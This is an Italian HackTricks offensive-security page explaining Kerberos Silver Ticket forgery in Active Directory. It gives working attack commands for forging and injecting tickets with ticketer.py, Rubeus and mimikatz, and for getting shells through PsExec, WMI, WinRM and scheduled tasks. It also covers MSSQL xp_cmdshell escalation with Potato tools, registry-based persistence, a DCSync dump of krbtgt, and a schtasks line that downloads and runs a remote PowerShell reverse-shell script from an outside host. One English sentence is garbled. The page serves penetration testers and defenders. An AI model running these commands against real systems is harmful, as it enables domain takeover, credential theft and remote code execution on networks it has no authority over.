Silver Ticket

Reading time: 8 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Silver ticket

L'attacco Silver Ticket consiste nello sfruttamento dei service ticket negli ambienti Active Directory (AD). Questo metodo si basa sul recupero dell'hash NTLM di un account di servizio, ad esempio un account computer, per forgiare un Ticket Granting Service (TGS). Con questo ticket contraffatto, un attaccante può accedere a servizi specifici sulla rete, assumendo l'identità di qualsiasi utente, solitamente con l'obiettivo di ottenere privilegi amministrativi. Si sottolinea che l'uso di chiavi AES per forgiare i ticket è più sicuro e meno rilevabile.

warning

Silver Tickets are less detectable than Golden Tickets because they only require the hash of the service account, not the krbtgt account. However, they are limited to the specific service they target. Moreover, just stealing the password of a user. Moreover, if you compromise an account's password with a SPN you can use that password to create a Silver Ticket impersonating any user to that service.

Per la creazione dei ticket, vengono impiegati strumenti diversi a seconda del sistema operativo:

Su Linux

bash
python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass

Su Windows

bash
# Using Rubeus
## /ldap option is used to get domain data automatically
## With /ptt we already load the tickt in memory
rubeus.exe asktgs /user:<USER> [/rc4:<HASH> /aes128:<HASH> /aes256:<HASH>] /domain:<DOMAIN> /ldap /service:cifs/domain.local /ptt /nowrap /printcmd

# Create the ticket
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET>"

# Inject the ticket
mimikatz.exe "kerberos::ptt <TICKET_FILE>"
.\Rubeus.exe ptt /ticket:<TICKET_FILE>

# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd

Il servizio CIFS è evidenziato come un obiettivo comune per accedere al file system della vittima, ma altri servizi come HOST e RPCSS possono anche essere sfruttati per task e query WMI.

Example: MSSQL service (MSSQLSvc) + Potato to SYSTEM

Se hai l'hash NTLM (o la chiave AES) di un account di servizio SQL (p.es., sqlsvc) puoi forgiare un TGS per il MSSQL SPN e impersonare qualsiasi utente verso il servizio SQL. Da lì, abilita xp_cmdshell per eseguire comandi come l'account di servizio SQL. Se quel token ha SeImpersonatePrivilege, chain a Potato per elevare a SYSTEM.

bash
# Forge a silver ticket for MSSQLSvc (RC4/NTLM example)
python ticketer.py -nthash <SQLSVC_RC4> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
-spn MSSQLSvc/<host.fqdn>:1433 administrator
export KRB5CCNAME=$PWD/administrator.ccache

# Connect to SQL using Kerberos and run commands via xp_cmdshell
impacket-mssqlclient -k -no-pass <DOMAIN>/administrator@<host.fqdn>:1433 \
-q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'"
  • Se il contesto risultante ha SeImpersonatePrivilege (spesso vero per gli account di servizio), usa una variante di Potato per ottenere SYSTEM:
bash
# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato
PrintSpoofer.exe -c "cmd /c whoami"
# or
GodPotato -cmd "cmd /c whoami"

Maggiori dettagli sull'abuso di MSSQL e l'abilitazione di xp_cmdshell:

MSSQL AD Abuse

Panoramica delle tecniche Potato:

RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

Servizi disponibili

Tipo di servizioService Silver Tickets
WMI

HOST

RPCSS

PowerShell Remoting

HOST

HTTP

A seconda del sistema operativo anche:

WSMAN

RPCSS

WinRM

HOST

HTTP

In alcune occasioni puoi chiedere semplicemente: WINRM

Attività pianificateHOST
Condivisione file Windows, anche psexecCIFS
Operazioni LDAP, incluso DCSyncLDAP
Strumenti di amministrazione remota server Windows

RPCSS

LDAP

CIFS

Golden Ticketskrbtgt

Usando Rubeus puoi richiedere tutti questi ticket usando il parametro:

  • /altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm

ID evento dei Silver tickets

  • 4624: Accesso account
  • 4634: Disconnessione account
  • 4672: Accesso admin

Persistenza

Per evitare che le macchine ruotino la loro password ogni 30 giorni imposta HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1 oppure puoi impostare HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge su un valore maggiore di 30 giorni per indicare il periodo di rotazione in cui la password della macchina dovrebbe essere aggiornata.

Abuso dei Service tickets

Nei seguenti esempi immaginiamo che il ticket sia ottenuto impersonando l'account Administrator.

CIFS

Con questo ticket sarai in grado di accedere alle cartelle C$ e ADMIN$ via SMB (se esposte) e copiare file in una parte del filesystem remoto semplicemente facendo qualcosa del tipo:

bash
dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp

Sarai anche in grado di ottenere una shell all'interno dell'host o eseguire comandi arbitrari usando psexec:

PsExec/Winexec/ScExec

HOST

Con questo permesso puoi creare attività pianificate su computer remoti ed eseguire comandi arbitrari:

bash
#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"

HOST + RPCSS

Con questi ticket puoi eseguire WMI sul sistema della vittima:

bash
#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"

#You can also use wmic
wmic remote.computer.local list full /format:list

Trova maggiori informazioni su wmiexec nella pagina seguente:

WmiExec

HOST + WSMAN (WINRM)

Con accesso winrm su un computer puoi accedervi e persino ottenere una PowerShell:

bash
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC

Check the following page to learn more ways to connect with a remote host using winrm:

WinRM

warning

Nota che winrm deve essere attivo e in ascolto sul computer remoto per accedervi.

LDAP

Con questo privilegio puoi eseguire il dump del database del DC usando DCSync:

mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt

Scopri di più su DCSync nella seguente pagina:

DCSync

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks